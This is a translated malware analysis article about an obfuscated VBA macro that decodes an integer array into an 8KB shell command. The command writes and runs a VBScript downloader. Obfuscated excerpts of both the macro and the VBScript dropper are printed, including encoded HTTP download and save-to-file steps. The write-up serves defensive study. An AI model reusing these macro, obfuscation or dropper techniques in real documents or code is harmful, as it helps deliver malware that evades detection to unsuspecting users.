转载

在恶意软件的宏中插入8KB单个命令行

几天前, 有人 给我 一个奇怪的恶意宏样本,这个样本 无法 被在线的沙盒和普通工具检测到。

0×01  提取并分析宏

这个 vbaProject.bin 文件是从 Word 或者 Excel2007+ 文档( .docm xlsm )中提取出来的典型的包含宏的 OLE 文件。使用 olevba 或者 oledump 可以很简单的提取出宏的源代码。

olevba 0.42 - http://decalage.info/python/oletools Flags        Filename                                                          -----------  ----------------------------------------------------------------- OLE:MAS-HBDV 0d1228498210c576a3c0f70816d43c22e4539a170555eaf27f9ed37b6c3ae382.bin   (Flags: OpX=OpenXML, XML=Word2003XML, MHT=MHTML, TXT=Text, M=Macros, A=Auto-executable,  S=Suspicious keywords, I=IOCs, H=Hex strings, B=Base64 strings, D=Dridex strings, V=VBA strings, ?=Unknown)   =============================================================================== FILE: 0d1228498210c576a3c0f70816d43c22e4539a170555eaf27f9ed37b6c3ae382.bin Type: OLE ------------------------------------------------------------------------------- VBA MACRO ThisDocument.cls in file: 0d1228498210c576a3c0f70816d43c22e4539a170555eaf27f9ed37b6c3ae382.bin - OLE stream: u'VBA/ThisDocument' - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Dim VoZoOxr6Mn(2034) As Long Sub ThhoJh8NX() DVZm8YVrQMiwo = RGB(57, 72, 52) Join KwTfhyp, 32 BPo78vzethyYE = Cos(10) Randomize FreeFile 8 KkqgXNfZvN = Dir("CnK5tkVQz") Choose 81, D9v2bgkWjrqDrfD0 [...] If TumGFv7Hqd8 = 0 Then Exit Function NSNhOVv50b = RGB(77, 46, 66) Mu4XjE = TumGFv7Hqd8 - 1 JIHddd7uli8P0PIH = RGB(54, 93, 48) End Function +------------+----------------------+-----------------------------------------+ | Type       | Keyword              | Description                             | +------------+----------------------+-----------------------------------------+ | AutoExec   | Document_Open        | Runs when the Word document is opened   | | Suspicious | Shell                | May run an executable file or a system  | |            |                      | command                                 | | Suspicious | Chr                  | May attempt to obfuscate specific       | |            |                      | strings                                 |

这个确实比较独特:宏的代码相当长,但是被 olevba 检测出可疑的命令是“ shell ”。

然而,一个典型的宏在执行它的 shell 前,需要向文件中写入 payload 。并且大部分情况下,需要从网上下载 payload

对代码进行分析后,发现也没有多余的命令去下载或者向磁盘中写入文件。

这就意味着,这个宏既没有释放 payload 从而通过 shell 命令去执行,也没有从网上下载 payload 或者其他应用程序 /dll 文件。

这个代码包含了 2034 个整型数组:

Dim VoZoOxr6Mn(2034) As Long

VoZoOxr6Mn(0) = 432433934

VoZoOxr6Mn(1) = 350786839

VoZoOxr6Mn(2) = -931457408

VoZoOxr6Mn(3) = 1263351013

VoZoOxr6Mn(4) = -934508713

VoZoOxr6Mn(5) = -1080386174

VoZoOxr6Mn(6) = -1982250533

VoZoOxr6Mn(7) = 643917765

[...]

VoZoOxr6Mn(2027) = 1872082481

VoZoOxr6Mn(2028) = -84289746

VoZoOxr6Mn(2029) = 228930248

VoZoOxr6Mn(2030) = -747395805

VoZoOxr6Mn(2031) = 905736327

VoZoOxr6Mn(2032) = 684154832

VoZoOxr6Mn(2033) = 740288

VoZoOxr6Mn(2034) = 0

更重要的是,一些函数通过解码算法可以将这些数组转化成字符串。并将其结果作为“ shell ”命令行的命令。

刚开始我尝试手动分析这些代码,分析出是如何将这些数组解码成实际的 payload 。但是这个太耗费时间了。

0×02  运行宏指令

后来我尝试将宏指令转化成 VBScript ,然后使用 cscript.exe 来运行。但是 我发现 代码使用了大量特殊的 VBA 解释器,而这些又不被 VBScript 支持。

于是我只好使用 最后一个方法 我将这些宏指令导入 Windows 平台上一个空的 Word 文档中, 然后将 其粘贴至 VB editor

在恶意软件的宏中插入8KB单个命令行

当然在没有被感染的情况下我还是无法执行代码。因此我将 shell 命令注释掉,用 “Selection.TypeText” 来替换它,采用相同的字符串变量作为参数 如下所示。这么做将会向 Word 文档中嵌入文本字符串,而不是执行命令。

在恶意软件的宏中插入8KB单个命令行

在执行完宏之后,神秘的 payload 就会在 word 文档中出现:

在恶意软件的宏中插入8KB单个命令行

[ 中间省略 ]

在恶意软件的宏中插入8KB单个命令行

因此这个证实了第一个假设:这 2034 个整型( 32bit )数组转化成 8KB 的字符串,这个字符串就是命令,最后被 VBA shell 执行。

0×03 VBScript payload

这些命令调用 cmd.exe 进程处理一系列长长的双引号字符串。每个字符串作为一行添加到名字为 “%appdata%/!TQJZEIfjEY0vjO!.vbs” 的文件中。最终, VBScript 文件被执行。

为了获得 VBScript 的代码,将命令拷贝至记事本中,将每个双引号用换行符来代替:

Dim Hn0VG8Jim,VSbjXB1Tb   Sub CFUmNNN5l()   M00rlg9loD=RGB(83,25,28)   On Error Resume Next   GTLwPQK72oc=RGB(56,27,14)   dim YdhC58CSw,S4xM6Wpkdj6D,W214qCaiT,UmenL52bDf   TI8WZPiK2i=RGB(75,30,67)   UmenL52bDf="OQDUQMXOh"   YCFFjOyYD=RGB(22,52,15)   YdhC58CSw=SeHoavimVzFK("5D3C0102521B60423F025C055D2C4727061D0E4061562718","O5Hurh4")   KvUeCMforHxs=RGB(21,30,56)   Set S4xM6Wpkdj6D=CrEaTeoBJEct(SeHoavimVzFK("1C2D3623222B200E3B7F1C181D050C1B38",UmenL52bDf))   MIgVQA=RGB(21,18,27)   S4xM6Wpkdj6D.OPen SeHoavimVzFK("150D2E","GRHzZoXg"),YdhC58CSw,0   Ugty62w=RGB(77,50,3)   S4xM6Wpkdj6D.sETreqUESThEadER SeHoavimVzFK("1F16341613","AMwZqvb3btB6P"),SeHoavimVzFK("00094332007C51421A","Abp7Ws")   HI8mQ5YcSR=RGB(35,89,98)   S4xM6Wpkdj6D.seNd()   W8tEI9rZq6HfsXOEj=RGB(12,23,15)   If S4xM6Wpkdj6D.STatUsText<>SeHoavimVzFK("3C5007260E221B45013B0245103C13","Tl1uRgCweB") Then KNC3TSAdM4WQx4G1   G5wuCfP7vda=RGB(10,14,76) End Sub [...] Set BFxKNR=CReaTeoBJect(SeHoavimVzFK("102327283762363B0B5D5738",GoOVIULOEKamGtAZ)) EitKzH0Nuwg=RGB(24,75,19) BFxKNR.OPen U2OqQ3cjPxXD=RGB(44,89,79) BFxKNR.TYpE=1 SxuTPuwwZ68O0in=RGB(15,41,61) BFxKNR.Write CVAWAyYGiQ EUBn1YwiceF=RGB(14,43,29) BFxKNR.saveTOFILE Hn0VG8Jim,(0.5 + 807 + 0.5 - 807 + 0.5 + 807 + 0.5 - 807) IbBRwzqI7UqO9JPb3=RGB(79,82,1) BFxKNR.clOse JxtY72rJ2OVT=RGB(22,29,35) Se21YcvBiRU9OKH6(2) PjpK6qckc=RGB(96,56,3) VSbjXB1Tb=Hn0VG8Jim JPLDZf6lJnt5T=RGB(24,63,45) Hn0VG8Jim=Hn0VG8Jim & LCpqU9MOnkVtOl & SeHoavimVzFK("621F1515","SLzmp") YNUoCl5R9=RGB(21,60,82) Ya5kQ1Uf5rf VSbjXB1Tb,Hn0VG8Jim,SeHoavimVzFK("095B51546B00","Th92eY3Ha") W1H46j8jP=RGB(46,77,58) LOSKRvzUGjsz Dctbq6sdzPJ=RGB(87,23,58) End Sub

这个 VBScript 的脚本同样很迷乱,但是现在却比较容易分析。我会在随后的博客中将其转换一下。

0×04  相似的样本

这里 使用我之前文章“ How to find malware samples containing specific strings ”中的 自定义搜索引擎方法 就可以 查找与宏代码中相似字符串的样本。例如,使用数组名“ VoZoOxr6Mn ”,我发现两个样本:

d3e1735b9257ab0a578b375f01303b541786da18b5971d7c146b65886543b666 :显示具有相同宏源码,但是没有VBS payload.

95810b7ed825c4615256b9b72d03c9811c9c602d5bf4a405c2fc2b52d09ce8d9 :相同的宏,但是这里存在命令行,VBS payload以及相应的行为分析。

因此采用这种搜索方法,我可以更快的找到相同的结果。

0×05  结论

这个包含宏的神秘文件,通过解码让人迷惑的整型数组来构造 8KB 的字符串。这个字符串实际上就是启动 cmd.exe 的命令,随后通过循环的方式一行一行构建 VBScript 文件,最终执行它。

同时还显示一个宏除了简单的 Shell 命令而不包括任何可疑的关键字,完全可以释放嵌入在宏中的 Payload

*原文地址: decalage.info ,东二门陈冠希/编译,部分内容有修改,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)

原文  http://www.freebuf.com/articles/network/97214.html
正文到此结束
Loading...